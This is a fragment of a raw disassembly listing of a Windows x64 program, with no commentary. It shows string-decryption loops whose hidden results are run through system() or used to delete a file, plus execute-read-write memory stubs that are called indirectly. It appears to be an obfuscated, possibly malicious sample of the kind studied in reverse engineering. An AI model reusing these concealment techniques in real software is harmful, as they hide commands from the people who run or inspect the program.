jne 0x140078dbd
lea rdx, [rsp + 0x50]
call fcn.140068770
mov r9, rax
cmp byte [rax + 0x1b], 0
je 0x140078bed
mov edi, r14d
cmp r13d, 2
jl 0x140078bb0
movdqa xmm5, xmmword [0x14019edd0]
movdqa xmm4, xmmword [0x14019ef40]
movdqa xmm6, xmmword [0x14019ee10]
movdqa xmm0, xmmword [0x14019eea0]
movdqa xmmword [rsp + 0x30], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, edi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14019ee80]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14019ee80]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add edi, 8
lea rcx, [rcx + 8]
cmp edi, 0x18
jl 0x140078ab0
cmp edi, 0x1c
jge 0x140078bed
movsxd r8, edi
add r8, r9
nop word [rax + rax]
mov eax, 0x4bda12f7
imul edi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, dil
sub al, cl
add al, 0x38
xor byte [r8], al
inc edi
lea r8, [r8 + 1]
cmp edi, 0x1c
jl 0x140078bc0
mov rcx, r9
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
call fcn.140065050
lea rdx, [rbp + 0x38]
call fcn.14007a1c0
mov r8, rax
cmp byte [rax + 0x10], 0
je 0x140078d8f
cmp r13d, 2
jl 0x140078d57
movdqa xmm5, xmmword [0x14019edd0]
movdqa xmm4, xmmword [0x14019ef40]
movdqa xmm6, xmmword [0x14019ee10]
movdqa xmm0, xmmword [0x14019eea0]
movdqa xmmword [rsp + 0x30], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x30]
nop dword [rax + rax]
movd xmm2, r14d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14019ee80]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r14 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14019ee80]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r14d, 8
mov eax, r14d
lea rcx, [rcx + 8]
cmp r14d, 0x10
jl 0x140078c50
cmp eax, 0x11
jge 0x140078d8f
movsxd rdi, r14d
add rdi, r8
nop dword [rax]
mov eax, 0x4bda12f7
imul r14d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r14b
sub al, cl
add al, 0x38
xor byte [rdi], al
inc r14d
lea rdi, [rdi + 1]
cmp r14d, 0x11
jl 0x140078d60
mov rdx, r8
lea rcx, [rsp + 0x50]
call fcn.14007c440
mov rcx, rax
call fcn.140075840
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.140060320
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call fcn.140065050
movups xmm0, xmmword [0x14019cf30]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [0x14019cf40]
movups xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [str.9___]
movups xmmword [rsp + 0x70], xmm0
movzx eax, word [0x14019cf60]
mov word [rbp - 0x80], ax
mov edi, r14d
cmp r13d, 2
jl 0x140078f30
movdqa xmm5, xmmword [0x14019edd0]
movdqa xmm4, xmmword [0x14019ef40]
movdqa xmm6, xmmword [0x14019ee10]
movdqa xmm0, xmmword [0x14019eea0]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rsp + 0x54]
mov edx, dword [rsp + 0x30]
nop dword [rax]
movd xmm2, edi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14019ee80]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14019ee80]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edi, 8
lea rcx, [rcx + 8]
cmp edi, 0x30
jl 0x140078e30
cmp edi, 0x32
jge 0x140078f6d
movsxd rax, edi
lea r8, [rsp + 0x50]
add r8, rax
nop dword [rax + rax]
mov eax, 0x4bda12f7
imul edi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, dil
sub al, cl
add al, 0x38
xor byte [r8], al
inc edi
lea r8, [r8 + 1]
cmp edi, 0x32
jl 0x140078f40
lea rcx, [rsp + 0x50]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [str.Ve]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [0x14019cfd0]
movups xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [0x14019cfe0]
movups xmmword [rsp + 0x70], xmm0
movsd xmm0, qword [str.e5_KRMvlv_]
movsd qword [rbp - 0x80], xmm0
movzx eax, word [0x14019cff8]
mov word [rbp - 0x78], ax
mov edi, r14d
cmp r13d, 2
jl 0x1400790f0
movdqa xmm5, xmmword [0x14019edd0]
movdqa xmm4, xmmword [0x14019ef40]
movdqa xmm6, xmmword [0x14019ee10]
movdqa xmm0, xmmword [0x14019eea0]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rsp + 0x54]
mov edx, dword [rsp + 0x30]
movd xmm2, edi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14019ee80]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14019ee80]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edi, 8
lea rcx, [rcx + 8]
cmp edi, 0x38
jl 0x140078ff0
cmp edi, 0x3a
jge 0x14007912d
movsxd rax, edi
lea r8, [rsp + 0x50]
add r8, rax
nop dword [rax + rax]
mov eax, 0x4bda12f7
imul edi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, dil
sub al, cl
add al, 0x38
xor byte [r8], al
inc edi
lea r8, [r8 + 1]
cmp edi, 0x3a
jl 0x140079100
lea rcx, [rsp + 0x50]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x14019e6e8]
movups xmmword [rbp + 0x38], xmm0
mov eax, dword [0x14019e6f8]
mov dword [rbp + 0x48], eax
movzx eax, byte [0x14019e6fc]
mov byte [rbp + 0x4c], al
mov edi, r14d
cmp r13d, 2
jl 0x140079291
movdqa xmm5, xmmword [0x14019edd0]
movdqa xmm4, xmmword [0x14019ef40]
movdqa xmm6, xmmword [0x14019ee10]
movdqa xmm0, xmmword [0x14019eea0]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x3c]
mov edx, dword [rsp + 0x30]
movd xmm2, edi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14019ee80]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14019ee80]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edi, 8
lea rcx, [rcx + 8]
cmp edi, 0x10
jl 0x140079191
cmp edi, 0x15
jge 0x1400792cd
movsxd rax, edi
lea r8, [rbp + 0x38]
add r8, rax
nop dword [rax + rax]
mov eax, 0x4bda12f7
imul edi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, dil
sub al, cl
add al, 0x38
xor byte [r8], al
inc edi
lea r8, [r8 + 1]
cmp edi, 0x15
jl 0x1400792a0
lea rcx, [rbp + 0x38]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x14019e3d0]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [0x14019e3e0]
movups xmmword [rsp + 0x60], xmm1
movsd xmm0, qword [0x14019e3f0]
movsd qword [rsp + 0x70], xmm0
movzx eax, byte [0x14019e3f8]
mov byte [rsp + 0x78], al
mov edi, r14d
cmp r13d, 2
jl 0x140079450
movdqa xmm5, xmmword [0x14019edd0]
movdqa xmm4, xmmword [0x14019ef40]
movdqa xmm6, xmmword [0x14019ee10]
movdqa xmm0, xmmword [0x14019eea0]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rsp + 0x54]
mov edx, dword [rsp + 0x30]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, edi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14019ee80]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14019ee80]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edi, 8
lea rcx, [rcx + 8]
cmp edi, 0x28
jl 0x140079350
cmp edi, 0x29
jge 0x14007948d
movsxd rax, edi
lea r8, [rsp + 0x50]
add r8, rax
nop dword [rax + rax]
mov eax, 0x4bda12f7
imul edi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, dil
sub al, cl
add al, 0x38
xor byte [r8], al
inc edi
lea r8, [r8 + 1]
cmp edi, 0x29
jl 0x140079460
lea rcx, [rsp + 0x50]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
movups xmmword [rbp + 0x18], xmm0
lea rax, [rbp + 0x3528]
movabs rcx, 0xff00ff00ff00ff07
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rax
mov rbx, qword [rax]
xor rbx, rcx
mov qword [rbp + 0x18], rbx
mov qword [rax], r14
mov ecx, r14d
mov rax, qword [0x14125b250]
test rax, rax
je 0x140079509
mov rdx, r14
lea rdi, [0x14007fe80]
nop
cmp rax, rdi
je 0x1400794f8
inc ecx
mov edx, ecx
mov rax, qword [r15 + rcx*8 + 0x125b250]
test rax, rax
jne 0x1400794e0
jmp 0x140079509
mov rdi, qword [r15 + rdx*8 + 0x12595b0]
test rdi, rdi
jne 0x1400795f6
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
test rax, rax
jne 0x140079530
mov rdi, r14
jmp 0x1400795ce
lea rax, [0x14007fe80]
mov rcx, rdi
mov rdx, r12
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140079540
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14125a240]
lea rcx, [0x14007fe80]
mov qword [r15 + rax*8 + 0x125b250], rcx
mov qword [r15 + rax*8 + 0x12595b0], rdi
inc rax
mov qword [0x14125a240], rax
lea rcx, [fcn.140065050]
call rdi
nop
movabs rax, 0xff00ff00ff00ff07
xor rbx, rax
lea rax, [rbp + 0x3528]
mov qword [rax], rbx
movups xmm0, xmmword [0x14019e5b8]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [0x14019e5c8]
movups xmmword [rsp + 0x60], xmm1
movzx eax, byte [0x14019e5d8]
mov byte [rsp + 0x70], al
mov edi, r14d
cmp r13d, 2
jl 0x140079780
movdqa xmm5, xmmword [0x14019edd0]
movdqa xmm4, xmmword [0x14019ef40]
movdqa xmm6, xmmword [0x14019ee10]
movdqa xmm0, xmmword [0x14019eea0]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rsp + 0x54]
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, edi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14019ee80]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14019ee80]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edi, 8
lea rcx, [rcx + 8]
cmp edi, 0x20
jl 0x140079680
cmp edi, 0x21
jge 0x1400797bd
movsxd rax, edi
lea r8, [rsp + 0x50]
add r8, rax
nop dword [rax + rax]
mov eax, 0x4bda12f7
imul edi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, dil
sub al, cl
add al, 0x38
xor byte [r8], al
inc edi
lea r8, [r8 + 1]
cmp edi, 0x21
jl 0x140079790
xorps xmm0, xmm0
movups xmmword [rbp - 8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 8], xmm1
lea rax, [rsp + 0x50]
inc rsi
cmp byte [rax + rsi], 0
jne 0x1400797d1
mov r8, rsi
lea rdx, [rsp + 0x50]
lea rcx, [rbp - 8]
call fcn.1400808e0
nop
lea rdi, [rbp - 8]
mov rbx, qword [rbp - 8]
mov r15, qword [rbp + 0x10]
cmp r15, 0xf
cmova rdi, rbx
lea rsi, [rbp - 8]
cmova rsi, rbx
add rsi, qword [rbp + 8]
cmp rdi, rsi
je 0x140079851
mov qword [rsp + 0x48], reloc.WS2_32.dll_sendto
nop word [rax + rax]
movzx edx, byte [rdi]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14007ede0
lea rdx, [0x14007efa0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rsp + 0x48]
call fcn.14007efc0
inc rdi
cmp rdi, rsi
jne 0x140079820
cmp r15, 0xf
jbe 0x14007988b
lea rdx, [r15 + 1]
mov rax, rbx
cmp rdx, 0x1000
jb 0x140079883
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140079883
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rbx
call fcn.140117e70
mov dword [rsp + 0x40], 0x7d0
xorps xmm0, xmm0
movups xmmword [rbp + 0x18], xmm0
lea rax, [rbp + 0x3528]
movabs rcx, 0xff00ff00ff00ff07
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rax
mov rbx, qword [rax]
xor rbx, rcx
mov qword [rbp + 0x18], rbx
mov qword [rax], r14
mov ecx, r14d
mov rax, qword [0x14125ac00]
lea r15, [0x140000000]
lea rsi, [0x14007fe50]
test rax, rax
je 0x140079909
mov rdx, r14
cmp rax, rsi
je 0x1400798f8
inc ecx
mov edx, ecx
mov rax, qword [r15 + rcx*8 + 0x125ac00]
test rax, rax
jne 0x1400798e0
jmp 0x140079909
mov rdi, qword [r15 + rdx*8 + 0x125a270]
test rdi, rdi
jne 0x1400799ef
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
test rax, rax
jne 0x140079930
mov rdi, r14
jmp 0x1400799ce
mov rax, rsi
mov rcx, rdi
mov rdx, r12
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140079940
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14125a250]
mov qword [r15 + rax*8 + 0x125ac00], rsi
mov qword [r15 + rax*8 + 0x125a270], rdi
inc rax
mov qword [0x14125a250], rax
lea rdx, [rsp + 0x40]
mov rcx, qword [sym.imp.KERNEL32.dll_Sleep]
call rdi
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x18], xmm0
lea r13, [rbp + 0x3528]
movabs rax, 0xff00ff00ff00ff07
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], r13
mov qword [rbp + 0x18], rbx
mov qword [r13], r14
mov ecx, r14d
mov rax, qword [0x14125b250]
lea rsi, [0x14007fe80]
test rax, rax
je 0x140079a69
mov rdx, r14
nop
cmp rax, rsi
je 0x140079a58
inc ecx
mov edx, ecx
mov rax, qword [r15 + rcx*8 + 0x125b250]
test rax, rax
jne 0x140079a40
jmp 0x140079a69
mov rdi, qword [r15 + rdx*8 + 0x12595b0]
test rdi, rdi
jne 0x140079b4f
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
test rax, rax
jne 0x140079a90
mov rdi, r14
jmp 0x140079b2e
mov rax, rsi
mov rcx, rdi
mov rdx, r12
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140079aa0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14125a240]
mov qword [r15 + rax*8 + 0x125b250], rsi
mov qword [r15 + rax*8 + 0x12595b0], rdi
inc rax
